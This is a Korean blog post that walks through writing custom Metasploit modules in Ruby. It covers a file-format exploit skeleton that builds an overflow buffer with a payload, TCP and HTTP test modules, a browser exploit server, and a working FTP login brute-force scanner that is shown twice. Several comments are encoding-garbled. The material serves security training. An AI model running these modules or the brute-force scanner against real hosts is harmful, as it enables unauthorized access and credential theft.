모의해킹/metasploit(고급)
실습 - 모듈 기능 구현
RNRF
2021. 11. 17. 15:47
* 파일 만들기
: 탬플릿 코드에 기능을 입히는 방법과 파일 포맷이라는 믹스인을 사용해서 커스텀 파일을 생성하고, 안에 버퍼를 채우는 방법을 설명했다
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "File Format Exploit Test",
'Description' => %q{
file format type exploit basic code
},
'License' => MSF_LICENSE,
'Author' => [ 'Jun' ],
'References' =>
[
[ 'URL', 'www.boanproject.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ '1.0', { 'Ret' => 0x41414141 } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME',[true, 'file name', 'msf.m3u']),
OptBool.new('TEST', [false, 'choose your destiny'])
], self.class)
end
def check # ¹«Á¶°Ç ÇÊ¿äÇϳª, ºÒ°¡´ÉÇÑ °æ¿ì¿¡´Â ¾ø¾îµµ µÊ
# For the check command
end
def exploit
buf = ""
buf << rand_text(1024)
buf << [target.ret].pack('V')
buf << make_nops(10)
buf << payload.encoded
file_create(buf)
print_status("File is created: #{datastore['FILENAME']}")
print_warning("Warning Test")
print_error("Error Test")
end
end
* TCP 통신 (C - tcp socket programming을 공부하는것을 추천)
: TCP Client와 TCP Server를 만들어본다
-> Client : Hello >> Server : World
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "tcp client test",
'Description' => %q{
tcp client test
},
'License' => MSF_LICENSE,
'Author' => [ 'Jun' ],
'References' =>
[
[ 'URL', 'www.boanproject.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ '1.0', { 'Ret' => 0x41414141 } ],
[ '1.1', { 'Ret' => 0x42424242 } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
end
def check # ¹«Á¶°Ç ÇÊ¿äÇϳª, ºÒ°¡´ÉÇÑ °æ¿ì¿¡´Â ¾ø¾îµµ µÊ
connect
res = sock.get_once
disconnect
if res =~ /world/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
data = "hello"
begin
connect
sock.put(data)
print_status("data send complete")
res = sock.get_once
print_status("get data from server: #{res}")
rescue Rex::AddressInUse, Rex::HostUnreachable => e
elog("#{e.class} #{e.message}")
ensure
disconnect
end
end
end
: TCP Client, Server를 만들어봤으며, 체크 함수, 예외 처리하는 것까지 살펴보았다
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'pry'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info={})
super(update_info(info,
'Name' => "tcp server test",
'Description' => %q{
tcp client test
},
'License' => MSF_LICENSE,
'Author' => [ 'Jun' ],
'References' =>
[
[ 'URL', 'www.boanproject.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ '1.0', { 'Ret' => 0x41414141 } ],
[ '1.1', { 'Ret' => 0x42424242 } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
end
def check # ¹«Á¶°Ç ÇÊ¿äÇϳª, ºÒ°¡´ÉÇÑ °æ¿ì¿¡´Â ¾ø¾îµµ µÊ
# For the check command
end
def on_client_connect(client)
buf = "world"
print_warning("new client is connected #{client.getpeername}")
# binding.pry
# get_data = client.get
# print_warning("Data from client: #{get_data}")
client.put(buf)
print_warning("data send complete")
service.close_client(client)
end
end
* http 클라이언트
: http 통신 기능을 구현해본다
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'pry'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "http client test",
'Description' => %q{
tcp client test
},
'License' => MSF_LICENSE,
'Author' => [ 'Jun' ],
'References' =>
[
[ 'URL', 'www.boanproject.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ '1.0', { 'Ret' => 0x41414141 } ],
[ '1.1', { 'Ret' => 0x42424242 } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'base path', '/'])
], self.class)
end
def exploit
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri,'index.php'),
'vars_get' => {
'username' => "hello",
'password' => "world"
}
})
binding.pry
if res && res.code == 200
print_good("access completed")
print_status("#{res}")
else
print_error("no access")
end
end
end
* http 서버
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'pry'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "http server test",
'Description' => %q{
tcp client test
},
'License' => MSF_LICENSE,
'Author' => [ 'Jun' ],
'References' =>
[
[ 'URL', 'www.boanproject.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ '1.0', { 'Ret' => 0x41414141 } ],
[ '1.1', { 'Ret' => 0x42424242 } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
end
def world_page(cli)
js = %Q|
alert('hello BoanProject');
|
js = ::Rex::Exploitation::JSObfu.new(js)
js = js.obfuscate
html = %Q|
<html>
<script>#{js}</script>
welcome to the real world!
</html>
|
send_response(cli, html)
end
def fake_page(cli)
html = "one step more"
send_response(cli, html)
end
def on_request_uri(cli, request)
print_status("client requests URI: #{request.uri}")
html = "not hello"
case request.uri
when /none\.html$/
send_not_found(cli)
when /hello\.html$/
send_redirect(cli, location='fake.html')
when /world\.html$/
world_page(cli)
when /fake\.html$/
fake_page(cli)
else
send_response(cli, html)
end
end
end
* browser exploit 서버
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'pry'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "browser exploit server test",
'Description' => %q{
tcp client test
},
'License' => MSF_LICENSE,
'Author' => [ 'Jun' ],
'References' =>
[
[ 'URL', 'www.boanproject.com' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:ua_name => Msf::HttpClients::IE,
:os_name => OperatingSystems::Match::WINDOWS_XP,
:arch => ARCH_X86,
:flash => /17\.0\.0\.134/
},
'Targets' =>
[
[ '1.0', { 'Ret' => 0x41414141 } ],
[ '1.1', { 'Ret' => 0x42424242 } ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("seding swf...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
return
end
send_exploit_html(cli, exploit_template(cli, target_info))
end
def exploit_template(cli, target_info)
swf = "msf.swf"
http_template = %Q|
<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://downaload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="500" height="500" />
<param name="movie" value="#{swf}" />
<param name="allowScriptAccess" value="always" />
<param name="quality" value="high" />
<embed type="application/x-shockwave-flash" quality="high" align="midle" src="#{swf}" /></emed>
</object>
</body>
</html>
|
return http_template, binding()
end
def exploit
@swf = create_swf
super
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-9999-9999', 'msf.swf')
fd = ::File.open(path, 'rb')
swf = fd.read(fd.stat.size)
fd.close
return swf
end
end
* MSF와 연결된 메모리 보호 기법
* FTP 스캐너(1)
: version check
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner # rhost -> rhosts / + threads
include Msf::Auxiliary::Report # db
def initialize(info = {})
super(update_info(info,
'Name' => 'FTP version check',
'Description' => %q{
ftp version check module.
},
'Author' => [ 'Jun' ],
'License' => MSF_LICENSE
))
end
def run_host(target_host)
res = connect
if(banner)
print_status("#{rhost}:#{rport} Ftp banner: #{banner}")
report_service(
:host => rhost,
:port => rport,
:name => "ftp",
:info => banner
)
end
disconnect
end
end
* FTP 스캐너(2)
: LoginScanner 구현
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
require 'pry'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def proto
'ftp'
end
def initialize
super(
'Name' => 'FTP Authentication Scanner',
'Description' => %q{
This module will test FTP logins on a range of machines and
report successful logins. If you have loaded a database plugin
and connected to a database this module will record successful
logins and hosts so you can track your access.
},
'Author' => 'todb',
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::Proxies,
Opt::RPORT(21),
OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])
], self.class)
register_advanced_options(
[
OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false])
]
)
deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'
@accepts_all_logins = {}
end
def run_host(ip)
res = connect
if(banner)
print_status("#{rhost}:#{rport} Ftp banner: #{banner}")
report_service(
:host => rhost,
:port => rport,
:name => "ftp",
:info => banner
)
end
print_status("#{ip}:#{rport} - Starting FTP login sweep")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
prepended_creds: anonymous_creds
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::FTP.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
# bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
# max_send_size: datastore['TCP::max_send_size'],
# send_delay: datastore['TCP::send_delay'],
# connection_timeout: 30,
# framework: framework,
# framework_module: self,
# ssl: datastore['SSL'],
# ssl_version: datastore['SSLVersion'],
# ssl_verify_mode: datastore['SSLVerifyMode'],
# ssl_cipher: datastore['SSLCipher'],
# local_port: datastore['CPORT'],
# local_host: datastore['CHOST']
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
# Always check for anonymous access by pretending to be a browser.
def anonymous_creds
anon_creds = [ ]
if datastore['RECORD_GUEST']
['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|
anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)
end
end
anon_creds
end
def test_ftp_access(user,scanner)
dir = Rex::Text.rand_text_alpha(8)
write_check = scanner.send_cmd(['MKD', dir], true)
if write_check and write_check =~ /^2/
scanner.send_cmd(['RMD',dir], true)
print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access")
return 'Read/Write'
else
print_status("#{rhost}:#{rport} - User '#{user}' has READ access")
return 'Read-only'
end
end
end
: Version Check + LoginScanner 구현 (= 응용)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
require 'pry'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def proto
'ftp'
end
def initialize
super(
'Name' => 'FTP Authentication Scanner',
'Description' => %q{
This module will test FTP logins on a range of machines and
report successful logins. If you have loaded a database plugin
and connected to a database this module will record successful
logins and hosts so you can track your access.
},
'Author' => 'todb',
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::Proxies,
Opt::RPORT(21),
OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])
], self.class)
register_advanced_options(
[
OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false])
]
)
deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'
@accepts_all_logins = {}
end
def run_host(ip)
res = connect
if(banner)
print_status("#{rhost}:#{rport} Ftp banner: #{banner}")
report_service(
:host => rhost,
:port => rport,
:name => "ftp",
:info => banner
)
end
print_status("#{ip}:#{rport} - Starting FTP login sweep")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
prepended_creds: anonymous_creds
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::FTP.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
# bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
# max_send_size: datastore['TCP::max_send_size'],
# send_delay: datastore['TCP::send_delay'],
# connection_timeout: 30,
# framework: framework,
# framework_module: self,
# ssl: datastore['SSL'],
# ssl_version: datastore['SSLVersion'],
# ssl_verify_mode: datastore['SSLVerifyMode'],
# ssl_cipher: datastore['SSLCipher'],
# local_port: datastore['CPORT'],
# local_host: datastore['CHOST']
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
# Always check for anonymous access by pretending to be a browser.
def anonymous_creds
anon_creds = [ ]
if datastore['RECORD_GUEST']
['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|
anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)
end
end
anon_creds
end
def test_ftp_access(user,scanner)
dir = Rex::Text.rand_text_alpha(8)
write_check = scanner.send_cmd(['MKD', dir], true)
if write_check and write_check =~ /^2/
scanner.send_cmd(['RMD',dir], true)
print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access")
return 'Read/Write'
else
print_status("#{rhost}:#{rport} - User '#{user}' has READ access")
return 'Read-only'
end
end
end